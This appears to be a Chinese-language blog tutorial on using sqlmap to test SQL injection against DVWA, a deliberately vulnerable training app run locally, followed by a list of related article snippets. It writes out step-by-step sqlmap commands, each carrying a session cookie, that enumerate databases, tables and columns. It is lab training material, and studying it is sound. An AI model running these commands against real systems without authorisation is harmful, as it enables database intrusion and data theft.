使用SQLmap对dvwa进行SQL注入测试

SQLmap工具github链接：https://github.com/sqlmapproject/sqlmap

搭建dvwa环境并启动。
windows上需要搭建Python环境，下载sqlmap包并解压。。
设置dvwa级别为low（medium，high都可以，不要设成impossible就行）
打开dvwa的SQL Injection，打开浏览器调试，输入user id并submit，查看拦截到的请求。
可以看到是一条GET请求，url是“http://127.0.0.1/vulnerabilities/sqli/?id=12&Submit=Submit#”，cookie里有”security=low; PHPSESSID=42uo6ivi8uu4h2tdimla8m6lj6”
我们先只用url试试

结果是跳转到登录页面，看来是需要带cookie的。
这次我们加上cookie

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=12&Submit=Submit#” --cookie=“security=low;PHPSESSID=42uo6ivi8uu4h2tdimla8m6lj6”

这次看样子成功了，但是中间会不断需要输入y/n
我们在后面加上参数–batch

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=12&Submit=Submit#” --cookie=“security=low;PHPSESSID=42uo6ivi8uu4h2tdimla8m6lj6” --batch
使用–dbs获取其所有的数据库

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=12&Submit=Submit#” --cookie=“security=low;PHPSESSID=42uo6ivi8uu4h2tdimla8m6lj6” --batch --dbs
使用-D xxx指定查看的数据库，用–tables查看该数据库的所有表

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=12&Submit=Submit#” --cookie=“security=low;PHPSESSID=42uo6ivi8uu4h2tdimla8m6lj6” --batch --dbs -D dvwa --tables
使用-D xxx -T ttt指定查看的表，用–columns查看表的列

python sqlmap.py -u “http://127.0.0.1/vulnerabilities/sqli/?id=12&Submit=Submit#” --cookie=“security=low;PHPSESSID=42uo6ivi8uu4h2tdimla8m6lj6” --batch --dbs -D dvwa -T users --columns

参考文章：https://blog.csdn.net/huilan_same/article/details/68067550

使用SQLmap对dvwa进行SQL注入测试相关推荐

使用Sqlmap对dvwa进行sql注入测试（初级阶段）
0.测试准备 1)打开Kali虚拟机终端; 2)打开靶机OWASP,并通过浏览器,输入IP地址进入dvwa的主页,然后选择SQL injection进入SQL注入的测试页面 1.获取DVWA的url和 ...
SqlMap自动化SQL注入测试工具简绍
Sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器.它配备了强大的检测引擎,为终极渗透测试仪提供了许多小众功能,以及从数据库指纹识别,从数据库获取数据到访问底层文 ...
SQL注入测试神器sqlmap
点击上方蓝字"开源优测"一起玩耍声明本公众号所有内容,均属微信公众号: 开源优测所有,任何媒体.网站或个人未经授权不得转载.链接.转贴或以其他方式复制发布/发表.已经本公众 ...
DVWA通关--SQL注入(SQL Injection)
目录 LOW 通关步骤一.手工注入二.sqlmap注入代码分析 MEDIUM 通关步骤方法一.手工注入方法二.sqlmap注入代码分析 HIGH 通关步骤方法一.手工注入方法二.sql ...
DVWA通关-SQL注入篇
DVWA通关-SQL注入篇开篇之前我知道网上也有很多通关攻略,但都是别人通关,复制粘贴也是别人的,所以就想写一下自己的.写下这篇文章主要是记录自己的学习,以及和各位朋友交流,有错误的地方,希望 ...
如何防范SQL注入 SQL注入测试
从测试来进行测试SQL注入. 首先,看看SQL注入攻击能分为以下三种类型: Inband: 数据经由SQL代码注入的通道取出,这是最直接的一种攻击,通过SQL注入获取的信息直接反映到应用程序的Web页 ...
安全测试中sql注入测试思路
在找好需要测试的功能点之后,针对每种功能点(参数),sql注入测试一般遵循下面步骤: 1. 测试注入类型,数字型or字符型如果参数中直接包含字母,那么直接可以判断是字符型参数,如id=4a. 若参数 ...
【dvwa】--SQL注入
为了准备跑路,练习ing. SQL注入篇 LOW级别先上源码 <?php if( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_R ...
DVWA之SQL注入
一.DVWA介绍 1.1 DVWA简介 DVWA是一款基于PHP和MYSQL开发的web靶场练习平台,集成了常见的web漏洞如sql注入,XSS,密码破解等常见漏洞.旨在为安全专业人员测试自己的专业技 ...

使用SQLmap对dvwa进行SQL注入测试

使用SQLmap对dvwa进行SQL注入测试相关推荐

最新文章

热门文章